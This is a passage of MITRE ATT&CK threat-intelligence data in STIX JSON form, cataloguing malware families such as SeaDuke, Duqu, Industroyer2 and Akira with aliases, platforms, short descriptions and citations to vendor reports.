Wiper"],"type":"malware","id":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","created":"2024-05-22T22:30:59.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1135","external_id":"S1135"},{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-10T16:02:05.568Z","name":"S-Type","description":"[S-Type](https://attack.mitre.org/software/S0085) is a backdoor that was used in [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) since at least 2013.(Citation: Cylance Dust Storm)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["S-Type"],"type":"malware","id":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","created":"2017-05-31T21:32:55.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0085","external_id":"S0085"},{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SeaDuke","SeaDaddy","SeaDesk"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","type":"malware","created":"2017-05-31T21:32:37.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0053","external_id":"S0053"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2021-04-26T17:40:17.009Z","name":"SeaDuke","description":"[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["BS2005"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6","type":"malware","created":"2017-05-31T21:32:15.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0014","external_id":"S0014"},{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}],"modified":"2021-11-01T21:12:14.638Z","name":"BS2005","description":"[BS2005](https://attack.mitre.org/software/S0014) is malware that was used by [Ke3chang](https://attack.mitre.org/groups/G0004) in spearphishing campaigns since at least 2011. (Citation: Mandiant Operation Ke3chang November 2014)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["DustySky","NeD Worm"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","type":"malware","created":"2017-05-31T21:32:41.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0062","url":"https://attack.mitre.org/software/S0062","source_name":"mitre-attack"},{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"},{"url":"http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf","description":"ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.","source_name":"DustySky2"},{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2021-04-27T19:53:40.705Z","name":"DustySky","description":"[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky) (Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-08T22:17:50.971Z","name":"Duqu","description":"[Duqu](https://attack.mitre.org/software/S0038) is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Duqu"],"type":"malware","id":"malware--68dca94f-c11d-421e-9287-7c501108e18c","created":"2017-05-31T21:32:31.188Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0038","external_id":"S0038"},{"source_name":"Symantec W32.Duqu","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Truvasys"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0178","external_id":"S0178"},{"source_name":"Truvasys","description":"(Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)"},{"url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha","description":"Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.","source_name":"Microsoft Win Defender Truvasys Sep 2017"},{"url":"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/","description":"Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.","source_name":"Microsoft NEODYMIUM Dec 2016"},{"url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","source_name":"Microsoft SIR Vol 21"}],"modified":"2020-03-18T16:10:02.987Z","name":"Truvasys","description":"[Truvasys](https://attack.mitre.org/software/S0178) is first-stage malware that has been used by [PROMETHIUM](https://attack.mitre.org/groups/G0056). It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-05T18:23:59.724Z","name":"Remsec","description":"[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.4","x_mitre_aliases":["Remsec","Backdoor.Remsec","ProjectSauron"],"type":"malware","id":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","created":"2017-05-31T21:33:12.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0125","external_id":"S0125"},{"source_name":"Kaspersky ProjectSauron Blog","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.","url":"https://securelist.com/faq-the-projectsauron-apt/75533/"},{"source_name":"ProjectSauron","description":"ProjectSauron is used to refer both to the threat group also known as G0041 as well as the malware platform also known as S0125. (Citation: Kaspersky ProjectSauron Blog)"},{"source_name":"Symantec Strider Blog","description":"Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.","url":"http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-06T22:00:22.774Z","name":"Industroyer2","description":"[Industroyer2](https://attack.mitre.org/software/S1072) is a compiled and static piece of malware that has the ability to communicate over the IEC-104 protocol. It is similar to the IEC-104 module found in [Industroyer](https://attack.mitre.org/software/S0604). Security researchers assess that [Industroyer2](https://attack.mitre.org/software/S1072) was designed to cause impact to high-voltage electrical substations. The initial [Industroyer2](https://attack.mitre.org/software/S1072) sample was compiled on 03/23/2022 and scheduled to execute on 04/08/2022, however it was discovered before deploying, resulting in no impact.(Citation: Industroyer2 Blackhat ESET)","x_mitre_platforms":["Field Controller/RTU/PLC/IED","Engineering Workstation"],"x_mitre_deprecated":false,"x_mitre_domains":["ics-attack","enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Industroyer2"],"type":"malware","id":"malware--6a0d0ea9-b2c4-43fe-a552-ac41a3009dc5","created":"2023-03-30T19:20:45.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1072","external_id":"S1072"},{"source_name":"Industroyer2 Blackhat ESET","description":"Anton Cherepanov, Robert Lipovsky. (2022, August). Industroyer2: Sandworm's Cyberwarfare Targets Ukraine's Power Grid. Retrieved April 6, 2023.","url":"https://www.youtube.com/watch?v=xC9iM5wVedQ"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Sykipot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9","type":"malware","created":"2017-05-31T21:32:17.568Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0018","external_id":"S0018"},{"source_name":"Alienvault Sykipot DOD Smart Cards","description":"Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. Retrieved January 10, 2016.","url":"https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards"},{"url":"http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments","description":"Blasco, J. (2013, March 21). New Sykipot developments [Blog]. Retrieved November 12, 2014.","source_name":"Blasco 2013"}],"modified":"2020-05-13T22:58:34.210Z","name":"Sykipot","description":"[Sykipot](https://attack.mitre.org/software/S0018) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of [Sykipot](https://attack.mitre.org/software/S0018) hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Explosive"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","type":"malware","created":"2021-02-08T21:41:25.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0569","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0569"},{"source_name":"Explosive","description":"(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) "},{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-04-27T01:56:35.649Z","name":"Explosive","description":"[Explosive](https://attack.mitre.org/software/S0569) is a custom-made remote access tool used by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123). It was first identified in the wild in 2015.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Xbash"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","type":"malware","created":"2019-01-30T13:28:47.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0341","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0341"},{"source_name":"Xbash","description":"(Citation: Unit42 Xbash Sept 2018)"},{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2020-06-23T20:41:28.496Z","name":"Xbash","description":"[Xbash](https://attack.mitre.org/software/S0341) is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. [Xbash](https://attack.mitre.org/software/S0341) was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.(Citation: Unit42 Xbash Sept 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Rover"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6b616fc1-1505-48e3-8b2c-0d19337bff38","type":"malware","created":"2017-05-31T21:32:58.226Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0090","external_id":"S0090"},{"source_name":"Palo Alto Rover","description":"Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}],"modified":"2020-03-17T14:52:20.206Z","name":"Rover","description":"[Rover](https://attack.mitre.org/software/S0090) is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Martin Smolár, ESET"],"x_mitre_aliases":["Epic","Tavdig","Wipbot","WorldCupSec","TadjMakhal"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","type":"malware","created":"2017-05-31T21:32:58.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0091","external_id":"S0091"},{"source_name":"Epic","description":"(Citation: Kaspersky Turla)"},{"source_name":"Tavdig","description":"(Citation: Kaspersky Turla)"},{"source_name":"Wipbot","description":"(Citation: Kaspersky Turla)"},{"source_name":"WorldCupSec","description":"(Citation: Kaspersky Turla)"},{"source_name":"TadjMakhal","description":"(Citation: Kaspersky Turla)"},{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2020-10-26T14:33:46.159Z","name":"Epic","description":"[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T01:37:19.602Z","name":"LightNeuron","description":"[LightNeuron](https://attack.mitre.org/software/S0395) is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. [LightNeuron](https://attack.mitre.org/software/S0395) has been used by [Turla](https://attack.mitre.org/groups/G0010) to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://attack.mitre.org/software/S0395) exists.(Citation: ESET LightNeuron May 2019)","x_mitre_platforms":["Windows","Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["LightNeuron"],"type":"malware","id":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","created":"2019-06-28T13:09:26.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0395","external_id":"S0395"},{"source_name":"ESET LightNeuron May 2019","description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Peppy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6c2550d5-a01a-4bbb-a004-6ead348ba623","type":"malware","created":"2021-09-07T15:11:17.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0643","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0643"},{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T15:09:54.978Z","name":"Peppy","description":"[Peppy](https://attack.mitre.org/software/S0643) is a Python-based remote access Trojan, active since at least 2012, with similarities to [Crimson](https://attack.mitre.org/software/S0115).(Citation: Proofpoint Operation Transparent Tribe March 2016)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T01:46:20.169Z","name":"KEYPLUG","description":"[KEYPLUG](https://attack.mitre.org/software/S1051) is a modular backdoor written in C++, with Windows and Linux variants, that has been used by [APT41](https://attack.mitre.org/groups/G0096) since at least June 2021.(Citation: Mandiant APT41)","x_mitre_platforms":["Linux","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["KEYPLUG","KEYPLUG.LINUX"],"type":"malware","id":"malware--6c575670-d14c-4c7f-9b9d-fd1b363e255d","created":"2022-12-12T15:47:08.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1051","external_id":"S1051"},{"source_name":"KEYPLUG.LINUX","description":"(Citation: Mandiant APT41)"},{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["Cuba"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6cd07296-14aa-403d-9229-6343d03d4752","type":"malware","created":"2021-06-18T22:05:58.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0625","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0625"},{"source_name":"Cuba","description":"(Citation: McAfee Cuba April 2021)"},{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-10-12T21:13:50.228Z","name":"Cuba","description":"\n[Cuba](https://attack.mitre.org/software/S0625) is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019.(Citation: McAfee Cuba April 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["DEATHRANSOM"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0","type":"malware","created":"2021-06-02T15:48:55.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0616","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0616"},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-10-18T18:28:24.079Z","name":"DEATHRANSOM","description":"[DEATHRANSOM](https://attack.mitre.org/software/S0616) is ransomware written in C that has been used since at least 2020, and has potential overlap with [FIVEHANDS](https://attack.mitre.org/software/S0618) and [HELLOKITTY](https://attack.mitre.org/software/S0617).(Citation: FireEye FiveHands April 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Clambling"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","type":"malware","created":"2021-11-12T20:54:55.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0660","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0660"},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.356Z","name":"Clambling","description":"[Clambling](https://attack.mitre.org/software/S0660) is a modular backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2017.(Citation: Trend Micro DRBControl February 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-08T17:17:49.947Z","name":"Akira","description":"[Akira](https://attack.mitre.org/software/S1129) ransomware, written in C++, is most prominently (but not exclusively) associated with the a ransomware-as-a-service entity [Akira](https://attack.mitre.org/groups/G1024).(Citation: Kersten Akira 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Akira"],"type":"malware","id":"malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656","created":"2024-04-04T17:59:46.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1129","external_id":"S1129"},{"source_name":"Kersten Akira 2023","description":"Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.","url":"https://www.trellix.com/blogs/research/akira-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-29T10:22:45.776Z","name":"DarkGate","description":"[DarkGate](https://attack.mitre.org/software/S1111) first emerged in 2018 and has evolved into an initial access and data gathering tool associated with various criminal cyber operations. Written in Delphi and named \"DarkGate\" by 